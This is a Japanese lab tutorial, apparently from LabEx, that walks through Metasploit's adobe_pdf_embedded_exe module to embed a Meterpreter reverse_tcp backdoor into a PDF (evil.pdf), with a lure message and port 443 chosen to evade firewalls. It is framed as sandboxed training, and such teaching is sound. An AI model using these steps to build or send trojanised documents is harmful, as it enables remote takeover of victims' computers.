はじめに
この実験では、Adobe PDF の組み込みモジュールの脆弱性を利用して Windows のバックドアを注入する方法を探ります。実験のプロセスでは、バックドアを含む PDF ファイルを Windows ホストに送信し、所有者が Adobe Reader を使って PDF ファイルを開くと、対象の Windows システムが感染します。
LabEx が提供する実験環境には Windows 仮想マシンがないため、攻撃の有効性を検証することはできません。実験のプロセスでは、バックドアプログラムを埋め込む方法のみを実演します。
さらに、この実験では対象マシンを起動する必要はありません。Kali Linux 環境を起動するだけでよく、正常に作成された PDF ファイルは Kali ホストの/root/ディレクトリに配置されます。
Metasploit Framework コンソールを起動する
ここでは、実験用の攻撃マシン(Kali Linux コンテナ)と対象マシン(Metasploitable2 仮想マシン)を起動します。
- LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 対象マシンを起動します。
sudo virsh start Metasploitable2
対象マシンが起動するまで待ちます。起動には 1~3 分かかる場合があります。
- 対象マシンに ping を送信して接続性をテストします。
ping 192.168.122.102
Ctrl+Cを押して ping を停止します。
- 以下のコマンドを実行して Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、対象マシンへのネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+Cを押して ping を停止します。
これで攻撃マシンと対象マシンの両方が起動し、侵入テストを開始することができます。
注意: 誤って現在の bash を終了した場合、Kali コンテナは自動的に停止します。ホスト上で再度docker run -ti --network host b5b709a49cd5 bashを実行することで、新しい Kali コンテナを起動して bash に入り、実験を続行することができます。
Kali Linux コンテナ内の Kali Linux bash ターミナルで以下のコマンドを入力します。
service postgresql start
msfdb init
cd ~
msfconsole
これにより、PostgreSQL データベースサービスが起動し、データベースが初期化され、さらなる操作のために Metasploit Framework コンソール(msfconsole)が起動します。
エクスプロイトモジュールを使用する
msfconsoleで以下のコマンドを実行してエクスプロイトモジュールを使用します。
use exploit/windows/fileformat/adobe_pdf_embedded_exe
これにより、adobe_pdf_embedded_exeエクスプロイトモジュールが読み込まれ、実行可能なペイロードを PDF ファイルに埋め込むことができます。
show optionsコマンドを使用して、エクスプロイトモジュールの設定可能なオプションを表示します。
show options
これにより、以下のような利用可能なオプションが表示されます。
EXENAME: PDF に埋め込む実行可能ファイルのパス。FILENAME: 出力する PDF ファイルの名前(デフォルト:evil.pdf)。INFILENAME: 入力 PDF ファイルの完全なパス(デフォルト:組み込みの PDF ファイル)。LAUNCH_MESSAGE: ユーザーに埋め込まれた実行可能ファイルを実行させるためのメッセージプロンプト。
ほとんどのオプションはデフォルト値のままにしておくことができますが、感染させたい入力 PDF ファイルのパスを指定するためにINFILENAMEオプションを設定することができます。
オプションを設定した後、exploitコマンドを使用して攻撃を実行します。
exploit
これにより、指定された入力 PDF ファイルにペイロードが埋め込まれ、埋め込まれた実行可能ファイルを含む新しい PDF ファイルが生成されます。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
出力を確認する
エクスプロイトを実行した後、悪意のあるペイロードを含む生成された PDF ファイルは/root/.msf4/local/evil.pdfに保存されます。msfconsoleを終了し、ファイルを確認することができます。
ls -l /root/.msf4/local/evil.pdf
ファイルサイズが増加していることが確認できるはずです。これは、埋め込まれた実行可能ファイルが存在することを示しています。PDF ファイルを開くと、設定された起動メッセージが表示され、ユーザーにクリックして埋め込まれたプログラムを実行するよう促されます。
カスタムペイロードを設定する
感染した PDF をより価値のあるものにするために、カスタムペイロードを設定することができます。
再度msfconsoleに入ります。
cd ~
msfconsole
msfconsoleで、前の手順に従って攻撃モジュールを選択します。
use exploit/windows/fileformat/adobe_pdf_embedded_exe
今回は、windows/meterpreter/reverse_tcpペイロードを使用します。これは、攻撃対象のホストから攻撃者のマシンに TCP 接続を確立する Meterpreter バックドアであり、攻撃対象のシステムに直接アクセスできるようにします。必要に応じて、show payloadsコマンドを使用して他のペイロードを表示し、選択することができます。
windows/meterpreter/reverse_tcpペイロードを設定します。
set payload windows/meterpreter/reverse_tcp
着信接続を受け取るために、Kali ホストの IP アドレスとポートを指定してペイロードを設定します。攻撃対象のホストが Kali ホストに接続できることを確認してください。
set lhost 192.168.122.1
ポート 443 を使用すると、一部のファイアウォールをバイパスするのに役立ちます。
set lport 443
次に、exploitコマンドを使用して悪意のある PDF を生成します。
exploit
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
再度出力を確認する
生成された PDF ファイルのサイズを確認します。
ls -l /root/.msf4/local/evil.pdf
windows/meterpreter/reverse_tcpペイロードはよりコンパクトであるため、ファイルサイズがデフォルトのペイロードよりも小さいことに気づくはずです。
まとめ
この実験では、Adobe Reader の脆弱性(CVE - 2010 - 1240)、つまり PDF ファイル内の埋め込みコンテンツの検証に失敗する脆弱性を利用する方法を学びました。PDF ファイルにバックドアプログラムを埋め込み、ユーザーに実行させることで、ターゲットの Windows ホストにアクセスすることができます。この実験でカバーされた要点は以下の通りです。
- 基本的な Linux コマンド
- Metasploit Framework コンソールの操作
- Adobe PDF 埋め込み EXE 脆弱性(CVE - 2010 - 1240)の紹介
- 脆弱性を悪用してバックドアプログラムを埋め込む方法
この実験では、埋め込みペイロードを持つ悪意のある PDF ファイルを作成し、さまざまなオプションを設定し、異なるペイロードがファイルサイズに与える影響を理解する実践的な経験を提供しました。この知識は、実際のシナリオでこのような攻撃を理解し、軽減するのに役立ちます。



